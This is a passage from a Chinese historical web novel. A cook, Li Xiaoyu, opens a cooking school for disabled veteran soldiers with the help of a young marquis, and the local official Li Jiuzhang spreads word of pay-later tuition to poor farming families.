林晚秋给他送了一碗银耳羹汤,离开书房后,一直贴身伺候的嬷嬷在她耳边小声道:“夫人,打探出来了,小侯爷今夜进了城。带了那黎小鱼,去城外看的烟花。”
“听马夫说,小侯爷与黎小鱼中途似乎还发生了不快,小侯爷气的下马车,黎小鱼在车上哭了。”
林晚秋听着总觉得不对劲。
“秦嬷嬷,你说刺刺是真的生气了吗?他若真是生气,那黎小鱼怎么可能还会被刺刺用马车带回去。按着他的性子,直接就把人扔下了。”
秦嬷嬷细想一下,还真是这样。
她犹疑道:“那若是小侯爷没生气,黎小鱼好好的哭什么?莫不是因为烟花感动了?”
林晚秋并不在意黎小鱼为什么哭,她只知道自己的儿子不对劲。
之前已经有所察觉,多日的观察之下,那个不愿意深想的可能,再无法抵挡,时不时的冒出来提醒着林晚秋。
她的儿子,或许喜欢上了一名男子。
这个可能,让林晚秋攥紧了手中的帕子,有一瞬的心慌。
秦嬷嬷及时的扶住人,担忧的问:“夫人可是哪里不舒服?”
林晚秋摇头,她看着京城的方向,突然怅然道:“秦嬷嬷,你说如果当初,是将刺刺送去的京城,如今会是什么样的光景?”
秦嬷嬷不敢多言,只说:“二公子身体不好,辞州苦寒。若真是留在辞州,怕是对二公子的身体,会有损害。”
“是啊,若是再来一次,送走的依旧是州州。”
林晚秋叹息一声,她也知道世上没有双全之策。
只是每每遇见贺辞胡闹,都会想起乖巧懂事的贺州。
她身体也是虚弱,不知道还能为贺辞操心多久。要是贺辞能有他弟弟一半的乖巧懂事,她也不会有如此想法。
“秦嬷嬷,去给刺刺送碗热乎银耳羹去,他晚上还没吃饭。”
“是。”
上元节的第二天,清云府还沉浸在灯会与难得一见的烟花之中喜悦。
街头巷尾,都在谈论着昨夜的烟花盛景。
这无疑是给人们枯燥乏味的生活,添了一道亮丽的色彩。
而牙行里面,此时也发生了一件闻所未闻的事情。
夏安呆滞着神情,难以置信的与黎小鱼确认要挂上去的信息。
“小郎君,你真的想好了?要招收学厨艺的学生,给钱就教?”夏安劝道:“这对小郎君来说,可是吃了大亏的啊。千万要想好了,不然消息传出去后,想收回可就难了。”
这样天上掉馅饼的好事,一旦传出去,那扩散的范围和速度可是不容小觑的。
真要是到时候再后悔,可就晚了。
夏安是站在黎小鱼的角度去想,不想让他吃亏。
黎小鱼也接受对方的好意,温和的笑着说:“我确定的,消息就这么发吧。”
只在牙行挂消息,让牙行的人传递,只需要黎小鱼给二十文钱就行。
消息能挂十天。
时间到了之后,想要继续挂,就再给二十文,再续十天。
数了足数的铜钱后,黎小鱼离开了牙行。
他挂上去的消息,在牙行里面引起不小的风波。
就连一些牙人,都想要去那什么厨子学院看看,到底是怎么回事。
贺辞跪了一宿之后,天蒙蒙亮,就洗漱穿衣。
随便吃了一些裹腹,便骑马去军营。
将黎小鱼厨师技术学院招生的消息带过去。
此事需快,不然剩下的那些将士,也到了要离开军营的时候了。
总不能等人走了,再半路把人追回来。
他这次没有去找卢校尉他们,而是找了应付。
应付在军营里是管钱的,他说话比谁都好使。能够以最快的速度,将人召集起来。
对于贺辞的要求,应付虽然不明白原因,但他有个优点。
那就是少说话,多办事。
也没多问,直接将那些还没有离开军营的残疾将士们全部召集起来。
人也不多了,各营加起来,还有四十多个人。
人齐了之后,贺辞说了厨师技术学院的事。
关于学费的事,贺辞也提前说清楚了。
最低是二两银子,但如果他们成功被选进去的话,他会替大家交一半的银子。
将士们听到这个消息,一时间都没能反应过来。
学厨,那可是正经的手艺,谋生的路啊。
当真只给二两银子就能学?
将士们想要相信,却又不敢相信。
毕竟这样的好事,从未听闻过。
但小侯爷也没有骗他们的理由,更别说,小侯爷还替他们手里的银钱考虑,为他们能留一些银子傍身,愿意替他们交一半的学费。
“小侯爷,那我们也能学吗?”
说话之人,是断了两个小臂的将士。
他已经不再年轻,头发有一半的花白。站出来问话的时候,也是忐忑不安。
他期待着能够得到肯定的回答。
贺辞的沉默,打碎了期望。
他举着手颤抖着说:“小侯爷,我虽然没手掌,但我的手臂还是能动的。我努努力,能拿得起调羹的。”
随后又指着自己的头发,“小侯爷请看,我都能自己束发。做菜一定也可以的。”
贺辞也很无奈,“你能切菜吗?”
“我……”
那将士瞬间哑了声音,他多想说自己能。
他不能。
为什么啊,为什么都受伤了,但别人却可以有一条极好的路走。
他却不能有。
其他的几名双臂有损的将士,心情也很低落。
贺辞也很难与他们开口,就连安慰都没办法做到。
现在说什么,对他们来说都像针扎一样的难受。
并不能让他们的心情好受一些。
其他将士们,心里因有了谋生的希望而高兴。如今也都忍着,不好在面上表露出来。
应付见着本应该高兴的场面,现在变得有些死气沉沉。
他道:“小侯爷,你早说是为这事,我就将这些人排除不叫了。”
贺辞不认同应付的话。
“所有人都离开,只有他们还留在原地。不知缘由,不明真相。如果是我,我宁愿知道一切,痛了就哭一场,至少能解一些心结。而不是从一开始,就闷着。”
应付没有再反驳,每个人的经历不同,想法不同。但各自都有理由,没必要非说服别人来认同自己的观点。
最后,那几名将士,还是被留在了军营里。
不过情绪也都宣泄了出来,只等着他们自己再慢慢的消化。
……
黎小鱼早在院子门口摆了一张长桌。
他办的好歹是个古代版技校,加上面积也不小,黎小鱼必须要请了一些有管理经验的人来协助管理。
这些人倒不是从牙行找的,那边根本找不着这样的人。
还是通过孔山长的介绍,寻了两个管理杂务的,一个管理食堂的,两个管理住宿的。
这些人都有经验,面试过觉得很好。能让黎小鱼后面省不少的心,轻松许多。
五人也都识些字,今天全出来在门口,帮着报菜名,还有登记记录。
长桌上有很多菜谱,分门别类,又按着价格排序,从低到高。
在将士们来之前,有人看了牙行的消息,按着地址先找了过来。
一开始那些人还不信,结果到了地方一看,还真有这院子,门口站着人,问他们是不是要报名学厨。
这些人只是来确认这事是不是真的,没想着真的报名。
不过来都来了,干脆去多了解一番。
看着手里的各种单子,几人面露惊讶,议论纷纷。
“啥?二两银子就能学一个菜,包教包会?”
“优异者,还可直接应聘学院老师,教其他的学生?”
“住宿吃饭竟然都包在了二两银子里面,怎会如此便宜?就不怕人在这混吃混喝吗?”
“有要求的,说是最多三个月。如果三个月内学不会的,继续教下一期的学费。”
“不是包教包会,怎么学不会还要再交钱啊?这不骗人吗?”
“一道菜学三个月,傻子都能学会了。”
黎小鱼在一旁听着他们的谈论,这几人都是识字的,倒是不用他再多费唇舌去解释,自己看着单子上写的就能看明白。
正因为识字,黎小鱼也确认了,他们就是来凑个热闹,看是怎么一回事。
辞州识字的人,或者说整个大俞识字的人,都不可能看得上厨子这行的手艺。
除非本身就热爱。
不然都会选择更好的工作,比如账房,掌柜,或者是给书铺做活。
就在几人搞清楚这横空出世的厨师学院是什么样后,不远处来了许多的人。
他们统一穿着,都是深色衣裳,身有残缺。
前头是一人骑着高头大马,贵气难掩。
因为人多,一路走来,引得不少人的注意。
人群中还有两辆板车,由独臂的将士换着拉。
上面坐着的是双腿残缺的将士。
那些只缺一腿的,都撑着拐杖,一步一步的走。
贺辞的马骑的极其的慢,马都走出脾气来了。
因为贺辞一直压着它,不准它走快一点点。
突然来了这么多的人,先前的那几个识字的,赶紧让了地方。
他们也能看出,来的都是一些受伤要退下的将士。
这些人的气质身型,是与普通老百姓不一样的,一眼就能看出来。
前头骑马的那位,看着也是眼熟,像是小侯爷。
这不是他们能靠近的人,怕一不留神得罪了小侯爷再遭殃。
热闹也不看了,放下手里的菜单,麻溜的跑了。
“来啦。”
黎小鱼上前对贺辞道。
贺辞下马,牵着缰绳,“嗯,人有点多,住的下吗?”
黎小鱼觉得贺辞是白担心了,“小侯爷忘了,这院子是一点也不比小侯爷的书院小的,这么点人,如何容不下?”
贺辞笑了一声,“他们要是忤逆你,让你生气,尽管与我说。”
黎小鱼转头看一眼身后乌泱泱的人,不愧是军营里出来的。
就算是身有残缺,也是一个比一个强壮。
要是真的暴动起来,他还真是压不住。
黎小鱼没在这时候瞎客气,“好,我知道了。小侯爷跟我来,将马拴上。”
随后又对众将士说:“诸位先去长桌那边,会有人与你们解释学院相关。”
将士们看出黎小鱼就是给他们一条出路的人,恭敬道:“是,郎君。”
几十人同时出声,那声音浑厚统一,气势十足。
黎小鱼却因为没有预料到,而被吓了一激灵。
贺辞低头浅笑,“兔子胆。”
将马栓好出来,将士们也大概知道了入学学习厨艺的流程。
首先就是选择自己要学的菜色。
这菜色分类许多,二两银子的大部分为“小吃”。
还有一小部分,是学习做酱,腌菜,豆制品,乳制品。
小吃的名字很多,都是未曾听过的。
煎饼果子,酸辣粉,红油抄手,过桥米线,串串香,炸松肉,驴打滚,炸春卷,门钉肉饼,驴肉火烧,麻花,麻团,桂花糯米藕……
光菜单就好几页,按着味道,酸辣的吃食就十来种。炸类的,糕点类的,肉饼类的,多的数不清。
酱的话,二两银子可学两种酱料方子。
腌菜是四种腌菜,搭配秘制腌菜酱料。
豆制品则是他们没有听过的,豆泡,豆泡,腐竹,腐乳这些。二两银子能学十种豆制品。
乳制品则是什么奶油,酸奶,黄油,奶酪。
将士们大概了解二两银子能学的菜色后,是十分的震惊。
他们还以为一共就几个菜色,路上的时候,想着他们这么多人,有不少还是同乡。
若学了一样的,回去后不就成了竞争关系。
这心里也是没滋没味的。
他们怎么也没想到,竟然有如此多的选择。
哪怕他们每人都选不一样的,这里都还有的剩。
更别提价格贵的那些都还没看呢。
将士们心里的担忧,是完全的打消了。
不过菜色虽多,但也不能说选就选。
比如腌菜,它需要的盐多。
而盐的价格并不低,且腌菜时间长。作为起步的话,选择腌菜,成本会很高。
所以腌菜不能选。
桂花糯米藕,又要桂花又要糯米,藕也是应季节才有。这道菜还要许多的糖和蜜,限制太多,成本过高,也不能选。
这样看来,也不是每一样吃食,都可以闭眼直接选择。
要根据自己的情况,去选合适的小吃。
煎饼果子选的人最多,它的成本低,做的也快。其次就是各种的油炸类,它虽然用油,不过能卖上价。
村子里怕是不行,但是县城这些地方,就完全可以。
将士们人多,报名的时间也很长。
贺辞和黎小鱼站在不远处,贺辞手里拿着一份菜单,“这些没有手的话,但小臂能动的人,可以做吗?”
黎小鱼凑头过去看,是豆制品。
“有些可以,不过想要学出来,会很吃力。”
黎小鱼看得出来贺辞这么问是什么意思,“小侯爷是想让那些断去双手的将士来试试?”
“嗯,可以吗?”
黎小鱼对上贺辞期盼的目光,点了一下头,“让他们来试试吧。”
他没有那个权利,直接否决或是肯定别人。
至少试一试,不行就再说。
“等我,我去去就回。”
贺辞骑马离开,黎小鱼看着他的背影,想到定安侯第一次见他时,说的贺辞小名缘由。
刺头。
最开始接触,是有些像。但黎小鱼发现,真的与贺辞相处下来,认真的听他说,看他做的那些。
似乎又并非那样。
就是说话气人,态度不好。
但也没有到定安侯说的刺头那份上。
或许贺辞小时候真的特别调皮吧,在军营时,领路的将士说的那些能够看出来。
将士们的名报了大半,贺辞带着几个断了手臂的将士来了。
这次为了赶时间,贺辞从军营抓了个将士,由他驾马拉着板车,手臂残缺的几人坐在板车上。
一路上,将士们心中都忐忑不安。
悄悄的动着还在的手臂部分,想让它们更灵活一些,希望能够达到可以学习厨艺的最低程度。
不过有了之前那次的失望,这次即便不行,他们也能坦然面对了。
至少这次,给了他们试一试的机会。
在拼尽全力一试后,即便最终依旧不行,也不会那样的不甘和遗憾。
黎小鱼见到人后,发现他们还好。
不是整条手臂全部断掉,互相配合的话,酱料是完全可以做的。
豆制品会有些难,不过多加练习的话,应该也不是问题。
就是要吃些苦头,也需要极大的耐心。
毕竟豆腐很嫩,力道不对就会戳破。太小力气,又会滑掉夹不起来,对他们来说只会是难上加难。
黎小鱼专门见的他们,也和他们说了,哪些适合他们学。
八人见真有他们能学的,彼此眼中都看出了浓烈的希望。
他们不怕难,也不怕累,就怕真的什么也干不了。
他们没有手,回家去的话,更是什么也干不了。更没办法拜师学手艺,谁会收他们为徒呢?
就算是有人愿意,他们又能学什么?
什么都学不了。
黎小鱼这边,他们能学的很少,好在是有。
奶制品倒是也行,不过用到的人挺少。除非有一家甜品铺子,他们可以做供应。
不过目前报名的没有人学做甜品,成本太高。而且也不一定,就是在一处开铺子,正好能供应上。
“你们之后,是回家乡,还是留在这边?”
黎小鱼问了一声。
几人有人点头有人摇头,黎小鱼对点头的三人说:“我后面会开一间甜品铺子,你们若是想的话,也可以选择奶制品。”
“这个需要力气大,对你们来说,倒也是合适。牛奶的成本不算太高,糖和蜜价格比较高。你们真要做的话,前期这两样,我会按比例提供。只会够做我铺子里需要的量。”
黎小鱼又强调一遍,“当然,这只是我的提议,你们可以不选。我这样说,只是让你们能多一个选择。”
三人闻言,也认真的思考起来。
他们三人,与其他人不一样。
他们是无家可归之人,选择留在辞州也是因为在辞州待的最久。
若是选择奶制品的话,有一个好处,学成后可以不愁销路,已经有人说要。
但这东西,他们毕竟没有听过,也有很多的担忧。
黎小鱼看出他们的担忧,与他们大概说了一下甜品铺子会需要的奶制品量。
“如果你们不单独开铺子的话,我也可以直接雇你们进铺子里专门做这些。”
这样一来,直接将忧虑打消了大半。
三人明显的意动,就连其他五人都有些想法。
不过这要留在辞州,他们更想回家,便没有多言。
黎小鱼给足了时间让三人商量,并未有催促。
贺辞站过来,小声的问他,“你需要那些奶制品?要是他们不学的话,我叫人来学。”
黎小鱼眼中带笑的看贺辞,“小侯爷的心意我心领了,那铺子他们学我就开,不学的话,就等后面有人学了且在辞州我再开。”
“不是必须要做的事情,小侯爷不必替我忧心。”
“好,遇到麻烦要记得和我说。”贺辞眯着眼睛警告,“你不说,被我从别的地方听到,饶不了你。”
黎小鱼仰头看他,“小侯爷要怎么饶不了我?”
贺辞一时间说不出来,要是以前,他有许多方法手段收拾黎小鱼。
但现在,似乎只能虚张声势,拿黎小鱼一点办法都没有。
他轻咳一声,以做掩饰,“反正就是饶不了你。”
黎小鱼看出他是纸老虎了,也没戳破。
“小侯爷,谢谢。”
“都说了别再和我说这些。”贺辞皱眉,不高兴黎小鱼对他这样客客气气的。
第52章 第 52 章
将士们报完名之后, 被宿管陆拾带去了宿舍。
一间宿舍里有四张上下铺,八人一间。
下午的时候,将士们自己出去采买被褥, 木盆那些用品。
第二天上午的时候, 所有人聚集在庭院, 由黎小鱼进行分班。
一共四十多人, 选的重复的比较多。
能开五个班。
煎饼果子要摊饼的鏊子, 这个需要用铁做。
个人用铁有限制,黎小鱼没办法在学院里备上足够的量, 只能提前和将士们说这个要他们自己备。
学成之后, 正好直接带走。
对于未知的东西,好奇的同时也会惧怕。
万一并不好的话, 那银子不就打水漂了。
因此, 将士们也是有些犹豫, 要不要换一个学。
对此,黎小鱼没有让他们立即就改, 而是说会在正式上课之前, 给他们做煎饼果子尝尝。
觉得好吃能学的话, 再去铁匠铺打鏊子。
在等待的期间,可以学习薄脆怎么炸,酱料怎么做。
班级分好之后,就是选班长。
哪怕是那三名学乳制品的, 都从里面挑了一个班长出来。
他们最终选择了学乳制品制作,就算不能开铺子, 还能直接被聘用呢。
生计问题直接解决, 没有什么可发愁的。
选好班长,黎小鱼对大家说有什么事情, 先报给班长,再由班长往上报。
不然得话,人少还行,人多的时候一人来一句,实在是太乱了。
因为只有黎小鱼一个人教,五个班的课程都是岔开的。
学院里面也修建了暖房,之前的花圃全被黎小鱼变成了菜地。
还专门辟出一大块的地,用来养家禽。池塘里也准备养鱼来吃。
每个班按着人的多少分地种植,或是养家禽。
养殖课所得到的食材,都会作为厨艺课的食材消耗。
学院里课程单一,养殖课和厨艺课来回的切换。
保证三个月要完全出师,可以出去直接赚钱的程度。
大家也都是奔着谋生之路来的,没那时间去搞什么娱乐活动。
正好黎小鱼不用花大量银子请别人来教,学生们有大量时间专注学做菜。
全都定好之后,黎小鱼先给那十三个选择煎饼果子的将士做煎饼。
他用的鏊子还是黎九州用自己的打铁份额从铁匠铺里打了送他的。
当官的用铁量比普通老百姓要高不少,但也有限制,超出一点都不行。
要是被不怀好意的人知道了,上书一个“心怀不轨”,若皇帝想继续用这人还好,不会有什么实质性的惩罚。
若是不想用,或者是懒得派人查问核实,这帽子一扣一个准。
因此即便是黎九章,也只能为他侄子打个鏊子,学院里需要的那些量,他也无能为力。
煎饼果子需要的面糊,用杂粮打磨便可以。比起鸡蛋饼要用的细面,能省一些。
不过炸薄脆用的油不少,好在一锅油能炸不少的薄脆。
整体的成本算下来并不多。
面糊比较稠,带着韧性。
鏊子烧的滚烫,黎小鱼拿着个竹筒,底部塞着瓜瓤,用它擦了擦鏊子。
等鏊子热透之后,舀上一勺面糊。用木头制作的刮板,手腕打圈一刮,面糊被均匀的像外扩散摊平。
粮食的香味被热气蒸腾出来,黎小鱼敲一个鸡蛋上去,又用刮板将其刮平。
熟后再抹秘制酱料,加一点点的辣,放薄脆,肉片,土豆丝。
黎小鱼边放边对众人道:“里面的配菜其实不是固定的,也可以加油条,吃的更饱一些。薄脆最好都放,增加层次丰富口感,也是不可或缺的特色。其他的配菜,根据时下有的来就行。”
古代不比现代,可以反季节的供应菜蔬。
这里老百姓都是靠天吃饭,煎饼果子本来就赚不了什么大钱,最后再因为非要放统一的菜蔬而购买高价的蔬菜,实在是不划算,也没必要。
黎小鱼的酱料调的极好,咸香无比,又带着一丝回甘。
辣椒油在麻辣烫铺子里面,就是必加的好物,在煎饼果子上淋一点,香辣味一下子就上来了。
不爱吃辣的话,光加那秘制酱料也非常的好吃,分不出哪个更美味。
黎小鱼就摊了三个煎饼果子,用刀切了给十三人分。
每人能吃两口。
这两口已经完全足够尝出煎饼果子的好吃来。
尤其是薄脆,一口咬下去,嘴巴里咔咔响,口感和味道都无法挑剔,又很新奇。
本来还有些犹豫,要不要下血本弄鏊子的十三人,吃完之后铁了心要学。
他们仔细的看了,这煎饼果子出餐很快。
而且一坨面糊,做出来那么大一个。
摊子要是做了起来,想赚更多的钱,还可以添加一些贵些的配料。
海鲜就不便宜,好在蚝肉鲜嫩,也能买得起。牛肉价贵,只切两片进去也行。
万物皆可卷,都卷里面去。
黎小鱼还不知道他的学生们还没开始学,就开始靠着想象,不考虑食材串味,自创黑暗贵版煎饼果子。
他给这些人做了尝完后,确定都继续学,便开始教他们怎么做酱。
每个人每节课的调料食材都是有限的。且做出来的不可以浪费,全部自己吃掉。
除非是真的太黑暗了,不能吃的会倒掉。
课上大家看的仔细,听的认真。
做的时候也有模有样的,就是最后的味道,各有各的难吃。
黎小鱼前面都不敢尝他们的酱,只闻。
他们现在做的东西,光靠着闻就能感觉不对,没到尝的那一步。
学院开课了三天,除了学生们初期吃食做的太差外,没出什么幺蛾子。
黎九章在第四天的时候,终于抽出空过来转了一圈。
看着那些残疾的将士们,不管经历多少次失败,依然充满希望的继续努力做下去,心中也很有感触。
尤其是在看见那八名双手皆有损的将士。
他们比起其他人,要更艰难一些。
但他们的脸上看不到退缩,只有对未来无尽的期盼。
黎九章心有所感,这就是他想要的,为民。
“小鱼,大伯父这次来也是为了告诉你一个好消息。”
之前他与定安侯秘密通信,倒不是为了扳倒江渚松。
毕竟他还没有拿得出手的政绩,不可能直接往上晋升代替江渚松。
这时候,即便是扳倒江渚松,朝廷也会另外派一个人来。
能来这边的,都不会是善茬。
这数十年间,只有一个黎九章是异类。
加上新来的人不是知底的,万一比江渚松贪的更狠,更没用,反而坏事。
二人商量的,就是如何给黎九章添政绩。
正巧互市那边行商越来越多,他们便商量着在互市新修一条街。
人多少不了要吃要喝要睡觉。
餐馆,酒肆,客栈都要增加。
黎九章在听黎小鱼说了厨师技术学院后,就计划着在这条街上,留几间铺子。
“这几间铺子,我会以府衙的名义留下。你这里学出来的人,要是想去,可以优先租那些铺子。”
黎小鱼心有所动,“江大人那边,能说得过去吗?”
黎九章安慰道:“没事,那地界是定安侯的。我参与其中,是因为定安侯允许。他的手,伸不过去。”
黎小鱼颔首,放下心来。
他想了一会后说:“大伯父,来我这学的,目前为止学的都是小吃。他们没有能力租一整个铺面,如果大伯父真的想好好做起来的话,选的这几间铺面可以连在一起。”
黎九章摸一下胡子,示意黎小鱼继续说。
“然后将其打通,做个小吃美食城。小吃摊占不了多少的位置。如果铺子和麻辣烫铺子那么大,四间铺子打通,面积规划得当的话,进二十种小吃摊都能塞下。”
“就是需要个带水井的院子,而且要专门的人及时清扫卫生,还需要专人管理。”
黎小鱼说完之后,黎九章陷入了沉思。
尤其是后面那句。
专人管理。
小小的美食铺子,里面藏着的学问,并不少。
要是互市那边美食城做成功了,辞州境内的一些富裕些的县城,也可以如法炮制。
这样一来,就缺做小吃的人。
而且这些人,需要就在辞州。
黎小鱼看着黎九章又道:“大伯父,我这边也可以配合府衙,签订先学后交银子的契约。让来学的学生,在后面赚钱之后再还上。不过有个限制,只能是真的贫困,拿不出二两银子的才行。”
这个消息黎小鱼之前没有挂在牙行,就是为了让消息从他大伯父这边出去。
这样一来,那些听到消息的人,也会感念他大伯父。
说白了,就是收拢人心。
黎九章有些感慨的看向黎小鱼,这孩子为了他这个大伯父,也是操碎了心。
能学一门手艺,还可以先学后给钱。学成出来府衙直接对接安排铺面,这诱惑大的就连黎九章自己都拒绝不了。
只要放出消息,不怕没人来学。
这样一来,也能帮到一些底层的老百姓。虽然前期帮到的人会比较少,但总比如今这样一潭死水要来的好。
想法虽好,可也有难的地方。
黎九章久久未语,黎小鱼大概能猜到他大伯父想的是什么。
什么为民的优待政策,只会在初期展现出最好的一面。
越到后面,越脏污不堪。
不是政策本身有问题,而是执行政策的人,出了问题。
人性如此,无可避免。
不过黎九章为官多年,也只失落了一小会,很快就恢复了过来。
更何况,他家小鱼还愿意为他的仕途做出极大的让步,先教人再收银子。
这时候他因为尚未发生的事情心寒,不愿前行,那像什么话。
他要是怕这怕那的,干脆什么都别做了。
黎九章从黎小鱼这走了之后,干劲满满。
他回府衙,第一时间就是派手下人去周边的村子宣传厨师技术学院。
牙行里,黎小鱼挂的消息,确实引起了不小的风波。
这几天也有许多人在学院门口徘徊,不过没有一个是真的进去说报名的。
徘徊的人中,有不少就是厨子。
他们听说最低二两就能学一道菜,那自然不相信,想要来看看真假。
可来了发现是真的,这心里又不得劲了。
他们师父都没死啊,活的好好的呢。
更重要的是,不是每个人都像凌少卿一样,学做菜就是因为自己喜欢。
绝大部分那都是为了养家糊口的,这也意味着,在目前生活还行的情况下,不会愿意拜一个比他们年纪小那么多的少年为师。
这说出去不丢人吗?
黎小鱼也让两个管杂务的在外解释,和他学不算是拜师,只是金钱交易,没有师徒之情。
可他们也不听啊。
在他们看来,一个教了,一个学了,那就是师徒。
和给不给银子没关系。
两方的思想出现巨大分歧,黎小鱼说服不了这些人,干脆随他们去了。
不是想要放弃这些人的生意,而是黎小鱼确信,只要有一个厨子,为了多学交钱进来。
学成出去后,推出新菜色有了竞争,其他人就不会再坐得住。
就算不等这样一个“厨子”出现,只要这一批学成出去,那些饭馆,酒楼的掌柜或是东家确认真的能学出东西,他们也会派人来学。
他们现在不吭声,不露面,完全是在观望。
黎小鱼教的这些菜色,三个月只能将一道菜学的很好,周期对比于其他跟着师父学厨的虽说不是很长。
但他一道菜,不是只教一人,会同时教很多人,因此不会成为厨子的秘传菜色。
也就不会太多的影响其他厨子们的生计。
门口徘徊的除了这些厨子外,也有一些想讨生计的百姓,他们不怕拜比自己年纪小的师父丢人,只要能拜师就行。
但二两银子实在是拿不出来,又或是要拿出来的话,就是家里的全部积蓄。
这部分人,黎小鱼也考虑到了。也能猜到,他们部分会在从大伯父派的那些人口中得知能先教后还银子后,前来报名。
同时也在考虑“勤工俭学”,会每一期按着新人比例选贫困的。
他这院子太大了,请人专门打理也要花钱,不如“勤工俭学”,两相便宜。
黎小鱼也不怕这些人会谎报,这里家家户户都是扎根一地。想要知道点什么,直接派人去询问,一问就能知道真假。
要有谎报的,直接退学费撵走就是。
黎九章派去乡下村子里报消息的官差,对着田埂子说了半晌,下头的一家老小十几口人,依旧手足无措的低头看土地,没人敢抬头。
二两银子,他们家哪里有哦。
不过三个月就能学一道菜,学完就可以出来赚钱,府衙帮着找地方开铺子,这倒是十分心动。
但也意味着,要先花钱。
可没钱啊。
官差虽说了可以先和府衙签契约,钱欠着,后面还。
可是谁知道后面能不能赚来这二两银子?
要是还不了的话,天老爷,欠府衙银子,他们这是活腻了吗?
官差没有在这个地头待太久,说完等了一会见没人有意,就直接走了。
乡下地多,一眼看不到头。
官差又走了一会,终于看见了埋头刨地的一家子。
他将之前的话重复了一遍。
“城里开了个教人做菜的学院,最低二两银子,三个月就能学一道菜。学完出来后,府衙会想办法帮忙找铺子给干买卖。”
“要是没钱的话,可以先与府衙签契约,钱先欠着。学成出来后,开了铺子再还钱。不过话说前面,这银子是要优先还的,拖欠不还,后果很严重。”
这家人也是低头颤抖,没办法,他们这些人见到官差实在是怕坏了。
刚开始的时候,远远瞧着人来,都想扛着锄头赶紧跑。
可转念一想,又能跑哪去?
这段时间春耕,三天两头的有人来收春税,一家子以为又来收什么税。
春季里所有的税收,百姓们统称为春税。
一年四季,要交的税实在是太多了。
名字加起来比命都长,根本记不住。
统一按着季节说税名,还好记一些。
他们都做好了又要收税的心理准备,没想到说的竟然不是交税。
这真是几十年来头一次见官差来找他们这些老百姓,不是张口要钱的。
仔细想来,这话后面听着是让人害怕不错。
可好像是为着他们好的。
二两银子啊,那么多银子,官府竟然说给欠就给欠吗?
难不成上头的黑心大老爷,换成了青天大老爷?
啥时候的事啊?
官差见这一家人也一直不吭声,几个小的都怕的打摆子,他叹息一声,转身要走。
此时丁老汉急忙将人叫住,声音激动的很,他心里清楚真叫这位官爷走了,怕是要错失一场天大的好事。
“官爷留步啊,老汉想问问,这菜是学的啥?学了之后,官府真的给找地方开铺子吗?”
丁老汉一下子问了好多问题,前面因为紧张,说的有些口齿不清。后面就流利了许多,官差听完后,回头笑道:“你这老汉有见识。”
丁老汉被夸的有些不好意思,握紧了手里的锄头,又有些紧张的问道:“官爷,要不要去家里坐坐,喝口水?”
要是把人请到家里,能问的更详细一些。
官差也是渴了,便点头,“成,老汉在前头带路。”
丁老汉面上一喜,连忙拉了一下身边的大儿子,示意他跟着一起上去。
丁仁立马明白他爹的意思,跟着丁老汉一起爬上田埂,领着官差回家去。
春耕在即,时间不等人,丁家的其他人需要在地里继续耕田。
路上,丁老汉扛着锄头,恭敬的问道:“官爷怎么称呼?”
“赵晓。”
丁老汉赔笑道:“赵官爷,您心善,能再给老汉还有我这不成器的儿子,说说那厨子啥院子不?”
赵晓的家境也不好,因为家里没钱,没办法给太多的孝敬。所以他在府衙里面,都是被欺压的那个。
什么脏活累活都是他干,月月领的钱,一次比一次少。
就这样,他也不敢说不干就不干了。
要是真的不干,他又能干什么?他家就是因为他披上了这身皮,好歹摆个小摊卖个馄饨,油饼什么的没人欺负。
真脱离了这身衣服,以后怕是连摊子都摆不成。
后面,黎大人来了。
因为黎大人不受待见,他这样的底层官差就被分给了黎大人。
不受待见的官差们,伺候不受待见的大人。
可他在黎大人手下干活,才有了官差的体面尊严。
黎大人虽说一直被压着,可对他们这些手下干活的人很好。
知道他们的银钱被无故克扣,还跑去替他们要银子。
那是他们第一次拿到足数的银子,且有黎大人护着,他们再没给上面交过孝敬。
他们也曾想过,要是黎大人走了,他们日子怕会比之前更苦。
但若是明明有人撑腰,还不拼了命的为自己争一把。光想着最坏的结果,一点也不改变,他们以后一定会后悔。
因为不想后悔,大家选择相信黎大人,也相信他们自己。
黎大人是个好官,黎大人想做的事情,他们都会为之拼命的努力。
因为这些事,受益的,都是百姓。
他们的家人,也在这些百姓之中。
因此赵晓很有耐心,他不厌其烦,细细的与丁老汉还有丁仁说着厨师技术学院的一切。
同时,也不忘记说黎大人。
就连那学院的创立者,也是黎大人的家人。
黎家人,上梁正,下梁也正。
人就是要对比的,正头的那位,制定一系列杂税。下面那位,想尽办法帮着百姓谋生。哪怕只有一点,那也被对比着无限放大。
丁老汉和丁仁听着,心里都升出一种,要是下面这位才是他们正头的父母官就好了。
那他们的日子也不能过的像现在这样苦。
丁家很破,土房子,篱笆院子,灰扑扑的。
整个村子都是这样,没有一家突出。
现在村子里很安静,没有什么人,全都在忙着春耕刨地。
丁老汉进去后,让丁仁去烧水,叮嘱他在水里放点红糖。
这红糖还是二女儿出嫁的时候,给二女儿买的。
结果这孩子惦记着家里人,临出门的时候,悄悄的塞在瓦罐里。
他们也舍不得喝,都是谁有个头疼脑热的,才能喝那么一点。
这红糖水对他们来说是金丹妙药,喝了症状都能缓解很多,人都舒服了。
丁仁去烧水的时候,赵晓注意到丁仁的腿有点跛。
之前走路的时候有所察觉,不过丁仁在丁老汉边上,赵晓不好太过刻意的去打量人家。
丁老汉注意到赵晓的视线,脸上露出一抹苦笑。
“大儿子前年给人家搬货,弄伤了脚。”
说完又像是想起什么,有些担忧,“那个厨子学院,不会因为这个不收吧?”
赵晓闻言笑了一声,“不会,现在在学院里学习的,都是伤残严重的退伍将士。你儿子不过是脚有些跛,算不了什么。”
这么一说,丁老汉就放心了。
丁仁端了红糖水过来,赵晓接过后,有些吃惊。
丁仁道:“家里没什么好东西招待,这点红糖水,赵官爷别嫌弃。”
赵晓摇头,“不会。对于学院的事,你们还有什么想问的,都可以问。”
丁仁不好意思的挠头,“我就想知道,那铺子的钱,会不会很多啊?”
前面他仔细听了,只有学厨可以先教后还银子,铺子却没说可以这样。
要是太贵的话,他家怕是也拿不出那么多的银子来。
这也是丁老汉在意的,他也看向赵晓,听对方说话。
“据我所知,不会很贵。具体的我也不太方便说,不过能保证的是,第一批辞州本地的百姓学成出来,能有个低价的铺子可以进去卖吃食。”
赵晓将自己知道的全说了,具体地方是哪里,怎么操作,其实他也不知道。
不过他相信黎大人不会说空话,黎大人怎么说,他就怎么传。
这话其实也没什么保障,对于百姓来说,真要是被骗了,也不能拿当官的怎么样。
可一件能改命的好事,要是一点风险都没有,那岂不是人人都挤破头皮的想去?
对他们这些地里刨食的人来说,只要能离开土地还能赚钱养活自己一家老小,那就是改命了。
种地实在是太累,太苦。
丁老汉看一眼丁仁,意思很明显,要他抓住这次机会。
